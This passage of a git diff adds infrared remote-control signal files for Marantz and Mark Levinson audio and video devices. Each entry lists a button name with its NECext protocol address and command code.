Index- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 23 00 00 00 +# +name: P.Mode +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 24 00 00 00 +# +name: Memo +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: AMS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: Stop/CM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: AMSTime+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: AMSTime- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir new file mode 100644 index 000000000..a497cfbf6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: Prev_Track +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 24 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: FADE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir new file mode 100644 index 000000000..34d20d263 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: Disc +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 24 00 00 00 +# +name: Intro +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 31 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 +# +name: Dimmer +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 47 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir new file mode 100644 index 000000000..55d5eaf41 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_PREV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SLOW_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 22 00 00 00 +# +name: SLOW_PREV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 23 00 00 00 +# +name: SCAN_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: SCAN_PREV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3A 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: PROGRAMM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: SURR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: SELECT/ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F0 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F1 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir new file mode 100644 index 000000000..5c30e1f99 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: MEM +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0A 00 00 00 +# +name: PLAY/PAUSE_>_ +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0D 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0E 00 00 00 +# +name: SEARCH_FWD_>> +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0F 00 00 00 +# +name: SEARCH_REV_<< +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 10 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 11 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 12 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 13 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 18 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir new file mode 100644 index 000000000..44accaa81 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 06 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir new file mode 100644 index 000000000..d52cc4fce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir @@ -0,0 +1,374 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: QP_START_+_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: QP_STOP_+_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: QP_DATE_+_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: QP_START_-_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: QP_STOP_-_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: QP_DATE_-_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: QP_DAILY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: QP_WEEKLY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: TURBO_TIMER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: VCR_CH_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: VCR_CH_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: AUDIO/MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: PLAY_SPEED_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: PLAY_SPEED_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: OTR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: VAR_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: PAUSE/SLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: QP_SPEED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: SP/SLP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: CLK/CNT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 45 00 00 00 +# +name: VCR_PLUS:_DAILY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 45 00 00 00 +# +name: SMART_PICTURE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 46 00 00 00 +# +name: PICT_CTRL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 46 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4D 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4E 00 00 00 +# +name: TAPE_MANAGER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 52 00 00 00 +# +name: OK/STATUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: SKIP/SEARCH +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6A 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6A 00 00 00 +# +name: VISS_FWD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 70 00 00 00 +# +name: VISS_REV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir new file mode 100644 index 000000000..d7eea5871 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF/STANDBY2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: STANDBY_-_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: V-MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: INFORMATION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: BACK_LIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: POWER_ON_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: POWER_ON_-_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: PIC_MODE_-FREEZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: SMOOTH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 61 00 00 00 +# +name: PICTURE_SHIFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 69 00 00 00 +# +name: ASPECT_-ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 74 00 00 00 +# +name: ZOOM/ZOOM_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 74 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 74 00 00 00 +# +name: ZOOM_(ASPECT) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 74 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 76 00 00 00 +# +name: CENEMA +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 76 00 00 00 +# +name: BACK_LIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 77 00 00 00 +# +name: INFORMATION_(OSD) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 77 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7D 00 00 00 +# +name: ASPECT_-FULL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 +# +name: ASPECT_-SQUEEZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 +# +name: FULL_SQUEEZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 +# +name: FULL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 +# +name: FULL_(ASPECT) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir new file mode 100644 index 000000000..c9dfe3b5a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: COMP_1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 1A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 56 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 96 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir new file mode 100644 index 000000000..c3b5ed7a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir new file mode 100644 index 000000000..5e5e06c0c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir new file mode 100644 index 000000000..ff8bcbc63 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: POLARITY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext 